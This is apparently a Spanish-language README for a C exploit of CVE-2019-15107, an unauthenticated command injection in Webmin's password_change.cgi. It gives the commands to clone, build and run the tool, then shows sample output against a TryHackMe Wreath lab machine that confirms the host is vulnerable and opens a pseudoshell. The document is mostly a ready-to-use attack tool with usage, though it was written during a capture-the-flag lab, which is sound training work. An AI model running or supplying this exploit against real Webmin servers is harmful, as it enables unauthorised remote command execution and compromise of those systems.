
CVE-2019-15107 Webmin Exploit en C
Se descubrió un problema en Webmin <=1.920. El parámetro old en password_change.cgi contiene una vulnerabilidad de inyección de comandos. [NVD]
$ git clone https://github.com/whokilleddb/CVE-2019-15107
$ cd CVE-2019-15107
$ make
$ ./exploit http://thomaswreath.thm:10000
[+] CVE-2019-15107 Webmin Unauhenticated Remote Command Execution
[+] Target URI: http://thomaswreath.thm:10000
======Headers======
HTTP/1.0 200 Document follows
Server: MiniServ/1.890
Date: Sat, 14 Aug 2021 23:40:01 GMT
Content-type: text/html; Charset=iso-8859-1
Connection: close
[~] The Given Server Is Running In SSL MODE
[+] Switching To SSL
[+] The Given Server Might Be Vulnerable To CVE-2019-15107
[+] The Given Server IS VULNERABLE To CVE-2019-15107
[+] Starting Pseudoshell
[+] Maximum Command Length(CMD_SIZE) Is Set To: 2048
[+] To Exit, type: exit()
Nota: Este exploit fue creado mientras intentaba TryHackMe's Wreath Network, por lo tanto, el ejemplo mostrado aquí corresponde a la máquina.
Q : ¿Por qué C en lugar de Python3?
A : Porque soy un psicópata